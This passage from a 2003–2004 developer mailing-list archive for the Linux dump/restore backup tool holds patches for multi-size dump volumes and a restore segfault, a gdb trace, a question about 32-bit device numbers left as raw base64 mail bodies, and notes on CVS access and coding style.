cyB3aWxsIGhhdmUgZmlyc3QgdG8gbWFrZSB0aGUgbmV3IGtkZXZfdCB2aXNpYmxlDQo+IHRvIHVz ZXJzcGFjZSAod2l0aCBhIG5ldyBzdGF0IHN5c2NhbGwgb3IgYnkgbWFraW5nIGFuIGluY29tcGF0 aWJsZQ0KPiBjaGFuZ2UgaW4gdGhlIGV4aXN0aW5nIG9uZSkgYmVmb3JlIHdlIHN0YXJ0IHRvIHdv cnJ5IGFib3V0IHRoaXMuDQo+IA0KPiBTdGVsaWFuLg0KPiANCj4gLS0gDQo+IFN0ZWxpYW4gUG9w IDxzdGVsaWFuQHBvcGllcy5uZXQ+ |
From: Stelian P. <st...@po...> - 2004-01-27 10:48:59
|
On Mon, Jan 26, 2004 at 03:03:51PM +0100, Florian Zumbiehl wrote: > Hi, > > below you find a patch for dump that enables the creation of volumes > of different sizes in a single run that I'd like to see incorporated > into the official dump version. I'm not completely sure as to the > semantics of the various variables and pieces of code I've touched, so > I ask those of you who know the code better than I do to verify that > everything is fine. Seems fine, patch applied in CVS (after some small editing). Thanks Florian. Stelian. -- Stelian Pop <st...@po...> |
From: Florian Z. <fl...@gm...> - 2004-01-26 14:04:09
|
Hi, below you find a patch for dump that enables the creation of volumes of different sizes in a single run that I'd like to see incorporated into the official dump version. I'm not completely sure as to the semantics of the various variables and pieces of code I've touched, so I ask those of you who know the code better than I do to verify that everything is fine. Cyas, Florian Index: dump/dump.8.in =================================================================== RCS file: /cvsroot/dump/dump/dump/dump.8.in,v retrieving revision 1.53 diff -u -r1.53 dump.8.in --- dump/dump.8.in 7 May 2003 14:45:20 -0000 1.53 +++ dump/dump.8.in 25 Jan 2004 23:08:48 -0000 @@ -134,7 +134,15 @@ .B dump waits for you to change the volume. This option overrides the calculation of tape size based on length and density. If compression is on this limits the -size of the compressed output per volume. +size of the compressed output per volume. Multiple values may be given +as a single argument separated by commas. Each value will be used for one +dump volume in the order listed; if +.B dump +creates more volumes than the +number of values given, the last value will be used for the remaining +volumes. This is useful for filling up already partially filled media +(and then continuing with full size volumes on empty media) or mixing media +of different sizes. .TP .BI \-c Change the defaults for use with a cartridge tape drive, with a density of 8000 Index: dump/main.c =================================================================== RCS file: /cvsroot/dump/dump/dump/main.c,v retrieving revision 1.89 diff -u -r1.89 main.c --- dump/main.c 4 Jan 2004 10:48:35 -0000 1.89 +++ dump/main.c 25 Jan 2004 23:08:55 -0000 @@ -171,7 +171,7 @@ #endif /* USE_QFA */ int dokerberos = 0; /* Use Kerberos authentication */ long dev_bsize = 1; /* recalculated below */ -long blocksperfile; /* output blocks per file */ +long *blocksperfiles = NULL; /* output blocks per file(s) */ char *host = NULL; /* remote host (if any) */ int sizest = 0; /* return size estimate only */ int compressed = 0; /* use zlib to compress the output, compress level 1-9 */ @@ -186,6 +186,7 @@ int maxbsize = 1024*1024; /* XXX MAXBSIZE from sys/param.h */ static long numarg __P((const char *, long, long)); +static long numlistarg __P((const char *, long, long)); static void obsolete __P((int *, char **[])); static void usage __P((void)); static void do_exclude_from_file __P((char *)); @@ -285,7 +286,7 @@ case 'B': /* blocks per output file */ unlimited = 0; - blocksperfile = numarg("number of blocks per file", + blocksperfiles = numlistarg("number of blocks per file", 1L, 0L); break; @@ -473,7 +474,7 @@ } argc--; incompat_flags(Tflag && uflag, 'T', 'u'); - incompat_flags(aflag && blocksperfile, 'a', 'B'); + incompat_flags(aflag && blocksperfiles, 'a', 'B'); incompat_flags(aflag && cartridge, 'a', 'c'); incompat_flags(aflag && density, 'a', 'd'); incompat_flags(aflag && tsize, 'a', 's'); @@ -483,8 +484,10 @@ tapeprefix = "standard output"; } - if (blocksperfile && !compressed) - blocksperfile = blocksperfile / ntrec * ntrec; /* round down */ + if (blocksperfiles && !compressed) { + for(i=1;i<=*blocksperfiles;i++) + blocksperfiles[i]=blocksperfiles[i]/ntrec*ntrec; /* round down */ + } else if (!unlimited) { /* * Determine how to default tape size and density @@ -867,9 +870,23 @@ } else { double fetapes; - if (blocksperfile) - fetapes = (double) tapesize / blocksperfile; - else if (cartridge) { + if (blocksperfiles) { + long tapesize_left; + + tapesize_left=tapesize; + fetapes=0; + for(i=1;i<*blocksperfiles&&tapesize_left;i++){ + fetapes++; + if(tapesize_left>blocksperfiles[i]){ + tapesize_left-=blocksperfiles[i]; + }else{ + tapesize_left=0; + } + } + if(tapesize_left){ + fetapes+=(double)tapesize_left/blocksperfiles[*blocksperfiles]; + } + } else if (cartridge) { /* Estimate number of tapes, assuming streaming stops at the end of each block written, and not in mid-block. Assume no erroneous blocks; this can be compensated @@ -1115,6 +1132,37 @@ if (val < vmin || (vmax && val > vmax)) errx(X_STARTUP, "%s must be between %ld and %ld", meaning, vmin, vmax); return (val); +} + +/* + * The same as numarg, just that it expects a comma separated list of numbers + * and returns an array of longs with the first element containing the number + * values in that array. + */ +static long +numlistarg(const char *meaning, long vmin, long vmax) +{ + char *p; + long *vals,*curval; + long valnum; + + p=optarg; + vals=NULL; + valnum=0; + do{ + valnum++; + if(!(vals=realloc(vals,(valnum+1)*sizeof(*vals)))) + errx(X_STARTUP, "allocating memory failed"); + curval=vals+valnum; + *curval = strtol(p, &p, 10); + if (*p && *p!=',') + errx(X_STARTUP, "illegal %s -- %s", meaning, optarg); + if (*curval < vmin || (vmax && *curval > vmax)) + errx(X_STARTUP, "%s must be between %ld and %ld", meaning, vmin, vmax); + *vals=valnum; + if (*p) p++; + }while(*p); + return (vals); } void Index: dump/tape.c =================================================================== RCS file: /cvsroot/dump/dump/dump/tape.c,v retrieving revision 1.79 diff -u -r1.79 tape.c --- dump/tape.c 22 Nov 2003 16:52:16 -0000 1.79 +++ dump/tape.c 25 Jan 2004 23:09:07 -0000 @@ -105,7 +105,8 @@ int writesize; /* size of malloc()ed buffer for tape */ long lastspclrec = -1; /* tape block number of last written header */ int trecno = 0; /* next record to write in current block */ -extern long blocksperfile; /* number of blocks per output file */ +extern long *blocksperfiles; /* number of blocks per output file(s) */ +long blocksperfiles_current; /* current position in blocksperfiles */ long blocksthisvol; /* number of blocks on current output file */ extern int ntrec; /* blocking factor on tape */ extern int cartridge; @@ -197,7 +198,7 @@ * repositioning after stopping, i.e, streaming mode, where the gap is * variable, 0.30" to 0.45". The gap is maximal when the tape stops. */ - if (blocksperfile == 0 && !unlimited) + if (!blocksperfiles && !unlimited) tenths = (cartridge ? 16 : density == 625 ? 5 : 8); else { tenths = 0; @@ -484,9 +485,9 @@ blockswritten += ntrec; blocksthisvol += ntrec; if (!pipeout && !unlimited) { - if (blocksperfile) { - if ( compressed ? (bytes_written - tapea_bytes + SLAVES * (writesize + sizeof(struct tapebuf))) >= (((long long)blocksperfile) * 1024) - : blocksthisvol >= blocksperfile ) { + if (blocksperfiles[blocksperfiles_current]) { + if ( compressed ? (bytes_written - tapea_bytes + SLAVES * (writesize + sizeof(struct tapebuf))) >= (((long long)blocksperfiles[blocksperfiles_current]) * 1024) + : blocksthisvol >= blocksperfiles[blocksperfiles_current] ) { close_rewind(); startnewtape(0); } @@ -871,6 +872,8 @@ tape[MAXPATHLEN - 1] = '\0'; msg("Dumping volume %d on %s\n", tapeno, tape); } + if(blocksperfiles_current<*blocksperfiles) + blocksperfiles_current++; #ifdef RDUMP while ((tapefd = (host ? rmtopen(tape, O_WRONLY|O_CREAT|O_TRUNC) : pipeout ? fileno(stdout) : |
From: Stelian P. <st...@po...> - 2004-01-22 09:57:55
|
On Wed, Jan 21, 2004 at 05:20:32PM -0700, Patrick Higgins wrote: > I'm trying to restore a dump created on Solaris 7 with ufsdump. I have > been able to get partial filesystem dumps to restore correctly, but full > filesystem dumps cause a crash. > > I've used gdb to track the crash down, and is included at the bottom. I > don't know what the fix should be, yet. [...] A genuine bug, here's the fix: diff -uNr --exclude=CVS dump.orig/restore/tape.c dump/restore/tape.c --- dump.orig/restore/tape.c 2003-11-22 17:52:16.000000000 +0100 +++ dump/restore/tape.c 2004-01-22 10:35:55.000000000 +0100 @@ -413,6 +413,7 @@ dump_ino_t oldmaxino = maxino; maxino += (spcl.c_count * TP_BSIZE * NBBY) + 1; resizemaps(oldmaxino, maxino); + map = usedinomap; spcl.c_dinode.di_size = spcl.c_count * TP_BSIZE; getfile(xtrmap, xtrmapskip); This will fix the segfault, but it still doesn't work on the incremental you posted, which seems to be incorrect (no TS_BITS header...). Maybe it will work on the full dump ? Stelian. -- Stelian Pop <st...@po...> |
From: Patrick H. <phi...@tr...> - 2004-01-22 00:20:33
|
I'm trying to restore a dump created on Solaris 7 with ufsdump. I have been able to get partial filesystem dumps to restore correctly, but full filesystem dumps cause a crash. I've used gdb to track the crash down, and is included at the bottom. I don't know what the fix should be, yet. The dump file was creating with the following command (it is an incremental, but the level 0 dump also crashes; however, it's much larger): ufsdump 1fu /mnt/dump/oildex2-inc /home/oildex2 I am attempting to restore to a stock Fedora Core 1 server install. The commands I'm using to restore are: restore -t -f /mnt/dump/oildex2-inc restore -x -f /mnt/dump/oildex2-inc Both cause a segmentation fault. You can download the dump file for testing purposes from http://www.transzap.com/oildex2-inc Here is the output from my GDB session: [root@scarlet /]# gdb /root/build/sbin/restore (gdb) break setjmp Breakpoint 1 at 0x8049b34 (gdb) run -t -f /mnt/dump/oildex2-inc Starting program: /root/build/sbin/restore -t -f /mnt/dump/oildex2-inc Breakpoint 1 at 0xb50720 Dump date: Wed Jan 21 15:21:10 2004 Dumped from: Wed Jan 21 15:06:22 2004 Level 1 dump of /home/oildex2 on garnet:/dev/dsk/c1t1d0s6 Label: none ... (snipped) ... Breakpoint 2, 0x00ba1830 in memmove () from /lib/tls/libc.so.6 (gdb) where #0 0x00ba1830 in memmove () from /lib/tls/libc.so.6 #1 0x080522c9 in xtrmap (buf=0xbfe3e620 "", size=4096) at tape.c:1338 #2 0x080520cd in getfile (fill=0x80522b0 <xtrmap>, skip=0x80522d4 <xtrmapskip>) at tape.c:1218 #3 0x08050bbe in setup () at tape.c:418 #4 0x0804d6f6 in main (argc=1, argv=0xbfe44800) at main.c:522 (gdb) step Single stepping until exit from function memmove, which has no line number information. Program received signal SIGSEGV, Segmentation fault. 0x00ba1853 in memmove () from /lib/tls/libc.so.6 |
From: Stelian P. <st...@po...> - 2004-01-20 10:48:50
|
On Thu, Jan 15, 2004 at 04:55:49PM +0800, Zhang Jun wrote: > Hello, > > I have some questions about device number extension. > > In Linux kernel 2.6, device number will be extended from 16-bit to 32-bit. All utilities and libraries should make corresponding extension for this new feature in kernel 2.6. > > I find that "dump-0.4b34-1" uses two struct members "di_rdev" and "st_rdev" which represent device number, and they are operated as 16-bit. [...] Hi Zhang, I saw your repeated mails on this matter but I haven't answered yet because I'm not sure what to say. From what I understand (and see at the bottom of include/linux/kdev_t.h in the 2.6 kernel sources), today the internal kdev_t is indeed coded into 32 bits, but the external, userspace visible one is still coded in the lower 16 bits of a 32 bit integer. So for dump there should be no change in the immediate future. The kernel developers will have first to make the new kdev_t visible to userspace (with a new stat syscall or by making an incompatible change in the existing one) before we start to worry about this. Stelian. -- Stelian Pop <st...@po...> |
From: Zhang J. <zha...@na...> - 2004-01-15 08:56:22
|
SGVsbG8sDQoNCkkgaGF2ZSBzb21lIHF1ZXN0aW9ucyBhYm91dCBkZXZpY2UgbnVtYmVyIGV4dGVu c2lvbi4NCg0KSW4gTGludXgga2VybmVsIDIuNiwgZGV2aWNlIG51bWJlciB3aWxsIGJlIGV4dGVu ZGVkIGZyb20gMTYtYml0IHRvIDMyLWJpdC4gQWxsIHV0aWxpdGllcyBhbmQgbGlicmFyaWVzIHNo b3VsZCBtYWtlIGNvcnJlc3BvbmRpbmcgZXh0ZW5zaW9uIGZvciB0aGlzIG5ldyBmZWF0dXJlIGlu IGtlcm5lbCAyLjYuIA0KDQpJIGZpbmQgdGhhdCAiZHVtcC0wLjRiMzQtMSIgdXNlcyB0d28gc3Ry dWN0IG1lbWJlcnMgImRpX3JkZXYiIGFuZCAic3RfcmRldiIgd2hpY2ggcmVwcmVzZW50IGRldmlj ZSBudW1iZXIsIGFuZCB0aGV5IGFyZSBvcGVyYXRlZCBhcyAxNi1iaXQuDQotLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0NCjEuIHJlc3RvcmUvdGFwZS5jIGxpbmUgMTM3NDoNCg0KKChpbnQpY3VyZmlsZS5k aXAtPmRpX3JkZXYgPj4gOCkgJiAweGZmLA0KKGludCljdXJmaWxlLmRpcC0+ZGlfcmRldiAmIDB4 ZmYsDQoNCjIuIHJlc3RvcmUvdGFwZS5jIGxpbmUgMTM3NjoNCigoaW50KXNiLnN0X3JkZXYgPj4g OCkgJiAweGZmLA0KKGludClzYi5zdF9yZGV2ICYgMHhmZik7IA0KLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tDQpJdCBzZWVtcyBub3QgdG8gY29ycmVzcG9uZCB0byBkZXZpY2UgbnVtYmVyIGV4dGVuc2lv bi4NCg0KU2luY2UgSSBkaWRuJ3QgZmluZCBhbnkgaW5mb3JtYXRpb24gYWJvdXQgdGhpcyBhc3Bl Y3QgaW4gaG9tZXBhZ2Ugb2YgdGhpcyBwYWNrYWdlLCBJIHdvbmRlciB3aGV0aGVyIHRoZSBsYXRl c3QgdmVyc2lvbiBoYXMgY29tcGxldGVkIHRoZSBkZXZpY2UgbnVtYmVyIGV4dGVuc2lvbj8gSWYg bm90LCB3aWxsIGl0IGJlIGNvbXBsZXRlZCBpbiB0aGUgZnV0dXJlPyBBbmQgd2hlbj8NCg0KTG9v a2luZyBmb3J3YXJkIHRvIGFuc3dlcmluZy4NCg0KDQoNClJlZ2FyZHMsDQpaaGFuZyBKdW4NCg0K LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NClpoYW5n IEp1bg0KRGVwdC4gb2YgVGVjaG5vbG9neSBhbmQgRGV2ZWxvcG1lbnQgDQpOYW5qaW5nIEZ1aml0 c3UgTmFuZGEgU29mdHdhcmUgVGVjaC4gQ28uLCBMdGQuKEZOU1QpDQpOby4gMTYtNSwgR3Vhbnpo b3UgUmQuLCBOYW5qaW5nLCBQLlIuQ2hpbmEgDQpQSE9ORTogKzg2KzI1LTY2MzA1MjMtNjMzIA0K RlVKSVRTVSBJTlRFUk5BTDogNzk5NTUtNjMzIA0KRkFYOiArODYrMjUtMzMxNzY4NSAgDQpNYWls OiB6aGFuZ2p1bkBuYW5qaW5nLWZuc3QuY29tIA0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0= |
From: Zhang J. <zha...@na...> - 2004-01-12 05:46:01
|
SGVsbG8sDQoNCkkgaGF2ZSBzb21lIHF1ZXN0aW9ucyBhYm91dCBkZXZpY2UgbnVtYmVyIGV4dGVu c2lvbi4NCg0KSW4gTGludXgga2VybmVsIDIuNiwgZGV2aWNlIG51bWJlciB3aWxsIGJlIGV4dGVu ZGVkIGZyb20gMTYtYml0IHRvIDMyLWJpdC4gQWxsIHV0aWxpdGllcyBhbmQgbGlicmFyaWVzIHNo b3VsZCBtYWtlIGNvcnJlc3BvbmRpbmcgZXh0ZW5zaW9uIGZvciB0aGlzIG5ldyBmZWF0dXJlIGlu IGtlcm5lbCAyLjYuIA0KDQpJIGZpbmQgdGhhdCAiZHVtcC0wLjRiMzQtMSIgdXNlcyB0d28gc3Ry dWN0IG1lbWJlcnMgImRpX3JkZXYiIGFuZCAic3RfcmRldiIgd2hpY2ggcmVwcmVzZW50IGRldmlj ZSBudW1iZXIsIGFuZCB0aGV5IGFyZSBvcGVyYXRlZCBhcyAxNi1iaXQuDQotLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0NCjEuIHJlc3RvcmUvdGFwZS5jIGxpbmUgMTM3NDoNCg0KKChpbnQpY3VyZmlsZS5k aXAtPmRpX3JkZXYgPj4gOCkgJiAweGZmLA0KKGludCljdXJmaWxlLmRpcC0+ZGlfcmRldiAmIDB4 ZmYsDQoNCjIuIHJlc3RvcmUvdGFwZS5jIGxpbmUgMTM3NjoNCigoaW50KXNiLnN0X3JkZXYgPj4g OCkgJiAweGZmLA0KKGludClzYi5zdF9yZGV2ICYgMHhmZik7IA0KLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tDQpJdCBzZWVtcyBub3QgdG8gY29ycmVzcG9uZCB0byBkZXZpY2UgbnVtYmVyIGV4dGVuc2lv bi4NCg0KU2luY2UgSSBkaWRuJ3QgZmluZCBhbnkgaW5mb3JtYXRpb24gYWJvdXQgdGhpcyBhc3Bl Y3QgaW4gaG9tZXBhZ2Ugb2YgdGhpcyBwYWNrYWdlLCBJIHdvbmRlciB3aGV0aGVyIHRoZSBsYXRl c3QgdmVyc2lvbiBoYXMgY29tcGxldGVkIHRoZSBkZXZpY2UgbnVtYmVyIGV4dGVuc2lvbj8gSWYg bm90LCB3aWxsIGl0IGJlIGNvbXBsZXRlZCBpbiB0aGUgZnV0dXJlPyBBbmQgd2hlbj8NCg0KTG9v a2luZyBmb3J3YXJkIHRvIGFuc3dlcmluZy4NCg0KUmVnYXJkcywNClpoYW5nIEp1bg0KDQotLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KWmhhbmcgSnVu DQpEZXB0LiBvZiBUZWNobm9sb2d5IGFuZCBEZXZlbG9wbWVudCANCk5hbmppbmcgRnVqaXRzdSBO YW5kYSBTb2Z0d2FyZSBUZWNoLiBDby4sIEx0ZC4oRk5TVCkNCk5vLiAxNi01LCBHdWFuemhvdSBS ZC4sIE5hbmppbmcsIFAuUi5DaGluYSANClBIT05FOiArODYrMjUtNjYzMDUyMy02NTIgDQpGVUpJ VFNVIElOVEVSTkFMOiA3OTk1NS02NTIgDQpGQVg6ICs4NisyNS0zMzE3Njg1ICANCk1haWw6IHpo YW5nanVuQG5hbmppbmctZm5zdC5jb20gDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQ== |
From: Zhang J. <zha...@na...> - 2003-12-31 05:28:24
|
SGVsbG8sDQoNCkkgaGF2ZSBzb21lIHF1ZXN0aW9ucyBhYm91dCBkZXZpY2UgbnVtYmVyIGV4dGVu c2lvbi4NCg0KSW4gTGludXgga2VybmVsIDIuNiwgZGV2aWNlIG51bWJlciB3aWxsIGJlIGV4dGVu ZGVkIGZyb20gMTYtYml0IHRvIDMyLWJpdC4gQWxsIHV0aWxpdGllcyBhbmQgbGlicmFyaWVzIHNo b3VsZCBtYWtlIGNvcnJlc3BvbmRpbmcgZXh0ZW5zaW9uIGZvciB0aGlzIG5ldyBmZWF0dXJlIGlu IGtlcm5lbCAyLjYuIA0KDQpJIGZpbmQgdGhhdCAiZHVtcC0wLjRiMzQtMSIgdXNlcyB0d28gc3Ry dWN0IG1lbWJlcnMgImRpX3JkZXYiIGFuZCAic3RfcmRldiIgd2hpY2ggcmVwcmVzZW50IGRldmlj ZSBudW1iZXIsIGFuZCB0aGV5IGFyZSBvcGVyYXRlZCBhcyAxNi1iaXQuDQotLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0NCjEuIHJlc3RvcmUvdGFwZS5jIGxpbmUgMTM3NDoNCg0KKChpbnQpY3VyZmlsZS5k aXAtPmRpX3JkZXYgPj4gOCkgJiAweGZmLA0KKGludCljdXJmaWxlLmRpcC0+ZGlfcmRldiAmIDB4 ZmYsDQoNCjIuIHJlc3RvcmUvdGFwZS5jIGxpbmUgMTM3NjoNCigoaW50KXNiLnN0X3JkZXYgPj4g OCkgJiAweGZmLA0KKGludClzYi5zdF9yZGV2ICYgMHhmZik7IA0KLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tDQpJdCBzZWVtcyBub3QgdG8gY29ycmVzcG9uZCB0byBkZXZpY2UgbnVtYmVyIGV4dGVuc2lv bi4NCg0KU2luY2UgSSBkaWRuJ3QgZmluZCBhbnkgaW5mb3JtYXRpb24gYWJvdXQgdGhpcyBhc3Bl Y3QgaW4gaG9tZXBhZ2Ugb2YgdGhpcyBwYWNrYWdlLCBJIHdvbmRlciB3aGV0aGVyIHRoZSBsYXRl c3QgdmVyc2lvbiBoYXMgY29tcGxldGVkIHRoZSBkZXZpY2UgbnVtYmVyIGV4dGVuc2lvbj8gSWYg bm90LCB3aWxsIGl0IGJlIGNvbXBsZXRlZCBpbiB0aGUgZnV0dXJlPyBBbmQgd2hlbj8NCg0KTG9v a2luZyBmb3J3YXJkIHRvIGFuc3dlcmluZy4NCg0KUmVnYXJkcywNClpoYW5nIEp1bg0KDQotLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KWmhhbmcgSnVu DQpEZXB0LiBvZiBUZWNobm9sb2d5IGFuZCBEZXZlbG9wbWVudCANCk5hbmppbmcgRnVqaXRzdSBO YW5kYSBTb2Z0d2FyZSBUZWNoLiBDby4sIEx0ZC4oRk5TVCkNCk5vLiAxNi01LCBHdWFuemhvdSBS ZC4sIE5hbmppbmcsIFAuUi5DaGluYSANClBIT05FOiArODYrMjUtNjYzMDUyMy02NTIgDQpGVUpJ VFNVIElOVEVSTkFMOiA3OTk1NS02NTIgDQpGQVg6ICs4NisyNS0zMzE3Njg1ICANCk1haWw6IHpo YW5nanVuQG5hbmppbmctZm5zdC5jb20gDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQ== |
From: Stelian P. <st...@po...> - 2003-04-10 08:01:01
|
On Wed, Apr 09, 2003 at 03:11:39PM -0700, Trent Piepho wrote: > The dump -W or -w modes no longer appear to work with dump 0.4b33. I've > traced it down to changing dump to look in /etc/mtab before /etc/fstab. Easy to correct such a bug when you tracked it down so precisely. Thanks. The following patch, already in CVS should fix this issue. Stelian. Index: optr.c =================================================================== RCS file: /cvsroot/dump/dump/dump/optr.c,v retrieving revision 1.36 diff -u -r1.36 optr.c --- optr.c 30 Mar 2003 15:40:36 -0000 1.36 +++ optr.c 10 Apr 2003 07:56:53 -0000 @@ -460,6 +460,12 @@ quit("Cannot access %s\n", tabfs->mnt_fsname); if (tabbuf.st_rdev == buf.st_rdev) { free(new); + /* Copy passno and freq from /etc/fstab because + * /etc/mtab does always have them as 0 0 */ + if (!tabfs->mnt_passno) + tabfs->mnt_passno = fs->mnt_passno; + if (!tabfs->mnt_freq) + tabfs->mnt_freq = fs->mnt_freq; return NULL; } } -- Stelian Pop <st...@po...> |
From: Trent P. <xy...@sp...> - 2003-04-09 22:11:46
|
The dump -W or -w modes no longer appear to work with dump 0.4b33. I've traced it down to changing dump to look in /etc/mtab before /etc/fstab. My /etc/mtab file looks like this: /dev/hdc1 /home ext2 rw 0 0 /dev/hda2 /usr ext2 rw 0 0 While fstab has lines like these: LABEL=/home /home ext2 defaults 1 2 LABEL=/usr /usr ext2 defaults 1 2 The fstab files does have the fs_freq value set to 1, but for some reason mount doesn't preserve fs_freq or fs_passno when it creates entries /etc/mtab. This confuses dump, which now thinks I don't want to dump any filesystems. I've observed this behavior with mount 2.10f, 2.11n and 2.11g. For dump -w usage, it seems like looking just in /etc/fstab would make the most sense, since /etc/mtab and /proc/mounts always have fs_freq set to zero, which makes dump -w pointless. |
From: Stelian P. <ste...@fr...> - 2003-01-17 12:29:46
|
On Fri, Jan 17, 2003 at 07:26:01AM -0500, PeterKorman wrote: > On Fri, Jan 17, 2003 at 10:30:29AM +0100, Stelian Pop wrote: > > On Thu, Jan 16, 2003 at 04:15:32PM -0500, PeterKorman wrote: > > > > > pkorman@fourier:~> wget http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump > > > --16:11:26-- http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump > > > => `cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump' > > > Resolving cvs.sourceforge.net... done. > > > Connecting to cvs.sourceforge.net[66.35.250.207]:80... failed: Connection refused. > > > > > > Is this a regular thing? I cant get to the repository. > > > > It seems that Sourceforge has problems with web based access to CVS, > > as stated on their 'site status' page: > > http://sourceforge.net/docman/display_doc.php?docid=2352&group_id=1 > > > > I hope the issues will be solved soon. > > > > Stelian. > > -- > > Stelian Pop <st...@po...> > > I only tried the web based approach after the client failed... > > F|/root# cvs -d:pserver:ano...@cv...:/cvsroot/dump login > Logging in to :pserver:ano...@cv...:2401/cvsroot/dump > CVS password: > cvs [login aborted]: connect to cvs.sourceforge.net(66.35.250.207):2401 failed: Connection refused > F|/root# As stated on the Sourceforge page, *both* web based and pserver based access are broken. I can send you (offline) a tar archieve of the latest CVS code if you want... Stelian. -- Stelian Pop <ste...@fr...> Alcove - http://www.alcove.com |
From: PeterKorman <cal...@ei...> - 2003-01-17 12:26:37
|
On Fri, Jan 17, 2003 at 10:30:29AM +0100, Stelian Pop wrote: > On Thu, Jan 16, 2003 at 04:15:32PM -0500, PeterKorman wrote: > > > pkorman@fourier:~> wget http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump > > --16:11:26-- http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump > > => `cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump' > > Resolving cvs.sourceforge.net... done. > > Connecting to cvs.sourceforge.net[66.35.250.207]:80... failed: Connection refused. > > > > Is this a regular thing? I cant get to the repository. > > It seems that Sourceforge has problems with web based access to CVS, > as stated on their 'site status' page: > http://sourceforge.net/docman/display_doc.php?docid=2352&group_id=1 > > I hope the issues will be solved soon. > > Stelian. > -- > Stelian Pop <st...@po...> I only tried the web based approach after the client failed... F|/root# cvs -d:pserver:ano...@cv...:/cvsroot/dump login Logging in to :pserver:ano...@cv...:2401/cvsroot/dump CVS password: cvs [login aborted]: connect to cvs.sourceforge.net(66.35.250.207):2401 failed: Connection refused F|/root# |
From: Stelian P. <st...@po...> - 2003-01-17 09:31:54
|
On Thu, Jan 16, 2003 at 04:15:32PM -0500, PeterKorman wrote: > pkorman@fourier:~> wget http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump > --16:11:26-- http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump > => `cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump' > Resolving cvs.sourceforge.net... done. > Connecting to cvs.sourceforge.net[66.35.250.207]:80... failed: Connection refused. > > Is this a regular thing? I cant get to the repository. It seems that Sourceforge has problems with web based access to CVS, as stated on their 'site status' page: http://sourceforge.net/docman/display_doc.php?docid=2352&group_id=1 I hope the issues will be solved soon. Stelian. -- Stelian Pop <st...@po...> |
From: PeterKorman <cal...@ei...> - 2003-01-16 21:16:07
|
On Tue, Jan 14, 2003 at 07:23:15AM -0500, PeterKorman wrote: > On Tue, Jan 14, 2003 at 09:50:00AM +0100, Stelian Pop wrote: > > On Mon, Jan 13, 2003 at 11:27:39PM -0500, PeterKorman wrote: > > > > > > > > I have a patch for the current version, but until I'm running it for at least a week > > > I'm not comfortable with posting it. > > > > Please use the latest CVS version, it will be easier for me to > > integrate your changes. pkorman@fourier:~> wget http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump --16:11:26-- http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump => `cvs.sourceforge.net/cgi-bin/viewcvs.cgi/dump' Resolving cvs.sourceforge.net... done. Connecting to cvs.sourceforge.net[66.35.250.207]:80... failed: Connection refused. Is this a regular thing? I cant get to the repository. JPK |
From: Stelian P. <ste...@fr...> - 2003-01-14 13:34:07
|
On Tue, Jan 14, 2003 at 07:23:15AM -0500, PeterKorman wrote: > > Please generate the diffs in unified diff format: > > diff -uNr dump.orig/ dump.modified/ > > I wasn't adding files, so I was doing: > > for i in $(find old -print | sed -e 's=old/==') > do > diff -C6 $old/$i $new/$i > done > > But the -r option looks like it could be > less work, the -Ux option is easier to read, > and if you dont want extra context lines, the > -u option is easier to type;-) -u is enough. > > > Please use <TAB> characters instead of spaces. And let it be > > 8 characters wide. > > Do you run an entab program? Which one? I don't. I just use one true editor (vi) and it works pretty well :) > How bout GNU indent? It usually sucks for > comments but otherwise itz pretty good. I suppose that, once configured to fit the existent style it could work, yes. > Itz ez for me to do it by hand for a small > change, but when I've had to maintain a project > bigger than 1 file with more than 1 person making > changes, indent is nearly as good as prozac. I agree. However, dump is a small project and coding style is not that important. The rule is: do in the same way as it's already done, and since I'm the only one with write access to the repository, if I don't like your code I'll complain or fix it myself. Stelian. -- Stelian Pop <ste...@fr...> Alcove - http://www.alcove.com |
From: PeterKorman <cal...@ei...> - 2003-01-14 12:23:51
|
